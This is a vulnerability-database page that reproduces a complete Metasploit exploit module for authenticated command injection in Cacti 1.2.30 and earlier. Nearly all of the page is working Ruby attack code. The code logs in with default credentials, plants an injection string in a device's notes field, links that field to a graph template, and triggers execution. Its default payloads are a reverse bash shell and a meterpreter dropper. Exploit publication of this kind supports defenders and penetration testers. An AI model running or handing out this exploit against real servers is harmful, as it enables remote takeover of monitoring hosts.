Lucene search
K

📄 Cacti 1.2.30 Remote Code Execution

🗓️ 03 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 19 Views

Authenticated remote code execution in Cacti versions up to 1.2.30 and 1.3.0-dev via host variable injection.

Related
Code
==================================================================================================================================
    | # Title     : Cacti ≤ 1.2.30 Authenticated RCE via Host Variable Injection                                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.cacti.net/                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This is a Metasploit exploit module targeting Cacti (≤ 1.2.30 and 1.3.0-dev) for authenticated remote code execution (RCE).
    
    [+] Payload    : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Cacti Authenticated Remote Code Execution via Host Variable Injection',
          'Description'    => %q{
            This module exploits an OS command injection vulnerability in Cacti 
            (versions ≤ 1.2.30 and 1.3.0-dev). Any authenticated user with device 
            and graph template creation privileges can execute arbitrary commands 
            on the underlying server. The flaw exists because user-controlled host 
            metadata fields (specifically the device notes field) are substituted 
            into RRDtool command-line arguments via Cacti's variable replacement 
            engine without any sanitization or escaping.
          },
          'License'        => MSF_LICENSE,
          'Author'         =>['indoushka'],
          'References'     =>
            [
              ['CVE', '2026-39949'],
              ['URL', 'https://github.com/rapid7/metasploit-framework']
            ],
          'DisclosureDate' => '2026-06-18',
          'Platform'       => %w[linux unix],
          'Arch'           => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARM64, ARCH_ARMLE],
          'Targets'        =>
            [
              ['Unix/Linux (In-Memory Command)', 
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              ['Linux (Dropper)', 
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARM64, ARCH_ARMLE],
                  'Type' => :dropper,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ]
            ],
          'DefaultTarget'  => 0,
          'Privileged'     => false,
          'DisablePayloadHandler' => false,
          'DefaultOptions' =>
            {
              'SSL' => false,
              'WfsDelay' => 2
            }
        ))
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path to Cacti installation', '/cacti/']),
            OptString.new('USERNAME', [true, 'Username for Cacti', 'admin']),
            OptString.new('PASSWORD', [true, 'Password for Cacti', 'admin'])
          ])
      end
      def username
        datastore['USERNAME']
      end
      def password
        datastore['PASSWORD']
      end
      def base_uri
        normalize_uri(datastore['TARGETURI'])
      end
      def check
        print_status("Checking Cacti version...")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(base_uri, 'index.php')
        })
        unless res
          return Exploit::CheckCode::Unknown('Target did not respond to check.')
        end
        if res.body =~ /Cacti.*?v?([0-9]+\.[0-9]+\.[0-9]+)/
          version = $1
          print_status("Detected Cacti version: #{version}")
          if version <= '1.2.30'
            return Exploit::CheckCode::Appears("Vulnerable version #{version} detected")
          elsif version == '1.3.0-dev'
            return Exploit::CheckCode::Appears("Vulnerable development version #{version} detected")
          else
            return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
          end
        end
        Exploit::CheckCode::Detected
      end
      def get_csrf_token(uri, params = nil)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => uri,
          'vars_get' => params
        })
        unless res
          fail_with(Failure::Unreachable, 'Failed to retrieve CSRF token')
        end
        if res.body =~ /name=["']__csrf_magic["'][^>]*value=["']([^"']+)["']/
          return $1
        end
        fail_with(Failure::UnexpectedReply, 'Could not find CSRF token')
      end
      def login
        print_status("Authenticating as #{username}...")
        csrf_token = get_csrf_token(normalize_uri(base_uri, 'index.php'))
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(base_uri, 'index.php'),
          'vars_post' => {
            'action' => 'login',
            'login_username' => username,
            'login_password' => password,
            '__csrf_magic' => csrf_token
          }
        })
        unless res
          fail_with(Failure::Unreachable, 'Login request failed')
        end
        if res.headers['Set-Cookie'] =~ /Cacti/
          print_good("Login successful")
          return true
        end
        fail_with(Failure::NoAccess, 'Login failed - check credentials')
      end
      def create_device(notes)
        print_status("Creating device with malicious notes...")
        csrf_token = get_csrf_token(normalize_uri(base_uri, 'host.php'), { 'action' => 'edit' })
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(base_uri, 'host.php'),
          'vars_post' => {
            'action' => 'save',
            'save_component_host' => '1',
            'reindex_method' => '1',
            'id' => '0',
            'host_template_id' => '0',
            'description' => 'poc',
            'hostname' => '127.0.0.1',
            'location' => '',
            'poller_id' => '1',
            'site_id' => '1',
            'device_threads' => '1',
            'availability_method' => '0',
            'snmp_options' => '0',
            'ping_method' => '1',
            'ping_port' => '23',
            'ping_timeout' => '400',
            'ping_retries' => '1',
            'snmp_version' => '2',
            'snmp_community' => 'public',
            'snmp_security_level' => 'authPriv',
            'snmp_auth_protocol' => 'MD5',
            'snmp_username' => '',
            'snmp_password' => '',
            'snmp_password_confirm' => '',
            'snmp_priv_protocol' => 'DES',
            'snmp_priv_passphrase' => '',
            'snmp_priv_passphrase_confirm' => '',
            'snmp_context' => '',
            'snmp_engine_id' => '',
            'snmp_port' => '161',
            'snmp_timeout' => '500',
            'snmp_retries' => '3',
            'max_oids' => '10',
            'bulk_walk_size' => '0',
            'external_id' => '',
            'notes' => notes,
            '__csrf_magic' => csrf_token
          }
        })
        unless res
          fail_with(Failure::Unreachable, 'Failed to create device')
        end
        if res.headers['Location'] =~ /[?&]id=(\d+)/
          host_id = $1
          print_good("Device created with ID: #{host_id}")
          return host_id
        end
        fail_with(Failure::UnexpectedReply, 'Could not extract host ID')
      end
      def create_template
        print_status("Creating graph template...")
        csrf_token = get_csrf_token(normalize_uri(base_uri, 'graph_templates.php'), 
                                    { 'action' => 'template_edit' })
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(base_uri, 'graph_templates.php'),
          'vars_post' => {
            'action' => 'save',
            'save_component_template' => '1',
            'graph_template_id' => '0',
            'graph_template_graph_id' => '0',
            'name' => 'poc',
            'class' => 'unassigned',
            'version' => '',
            'title' => 'poc',
            'vertical_label' => '',
            'image_format_id' => '1',
            'height' => '200',
            'width' => '700',
            'base_value' => '1000',
            'auto_scale_opts' => '2',
            'upper_limit' => '100',
            'lower_limit' => '0',
            'unit_value' => '',
            'unit_exponent_value' => '',
            'unit_length' => '',
            'right_axis' => '',
            'right_axis_label' => '|host_notes|', 
            'right_axis_format' => '0',
            'right_axis_formatter' => '0',
            'left_axis_format' => '0',
            'left_axis_formatter' => '0',
            'tab_width' => '',
            'legend_position' => '0',
            'legend_direction' => '0',
            'rrdtool_version' => '1.7.2',
            '__csrf_magic' => csrf_token
          }
        })
        unless res
          fail_with(Failure::Unreachable, 'Failed to create template')
        end
        if res.headers['Location'] =~ /[?&]id=(\d+)/
          template_id = $1
          print_good("Template created with ID: #{template_id}")
          return template_id
        end
        fail_with(Failure::UnexpectedReply, 'Could not extract template ID')
      end
      def create_graph(host_id, template_id)
        print_status("Creating graph...")
        csrf_token = get_csrf_token(normalize_uri(base_uri, 'graphs_new.php'), 
                                    { 'reset' => 'true', 'host_id' => host_id })
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(base_uri, 'graphs_new.php'),
          'vars_post' => {
            'save_component_graph' => '1',
            'cg_g' => template_id,
            'host_id' => host_id.to_s,
            'host_template_id' => '0',
            'action' => 'save',
            'graph_type' => '-2',
            'rows' => '-1',
            '__csrf_magic' => csrf_token
          }
        })
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(base_uri, 'host.php'),
          'vars_get' => {
            'action' => 'edit',
            'id' => host_id
          }
        })
        unless res
          fail_with(Failure::Unreachable, 'Failed to retrieve graph ID')
        end
        if res.body =~ /graph_edit&(?:amp;)?id=(\d+)/
          graph_id = $1
          print_good("Graph created with ID: #{graph_id}")
          return graph_id
        end
        fail_with(Failure::UnexpectedReply, 'Could not extract graph ID')
      end
      def trigger_graph(graph_id)
        print_status("Triggering graph to execute payload...")
        
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(base_uri, 'graph_image.php'),
          'vars_get' => {
            'local_graph_id' => graph_id,
            'rra_id' => '0',
            'graph_start' => '-3600',
            'graph_end' => '0'
          }
        })
      rescue => e
        print_debug("Trigger request completed (expected error for background execution)")
      end
      def execute_command(cmd, opts = {})
        payload = "'; (#{cmd} &); '"
        host_id = create_device(payload)
        template_id = create_template
        graph_id = create_graph(host_id, template_id)
        trigger_graph(graph_id)
        print_status("Waiting for payload to execute...")
        sleep(2)
      end
      def exploit
        login
        case target['Type']
        when :cmd
          print_status("Executing command payload...")
          execute_command(payload.raw)
          
        when :dropper
          print_status("Executing dropper payload...")
          execute_cmdstager(linemax: 2000)
        end
        
        print_good("Exploit completed!")
      end
    end
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation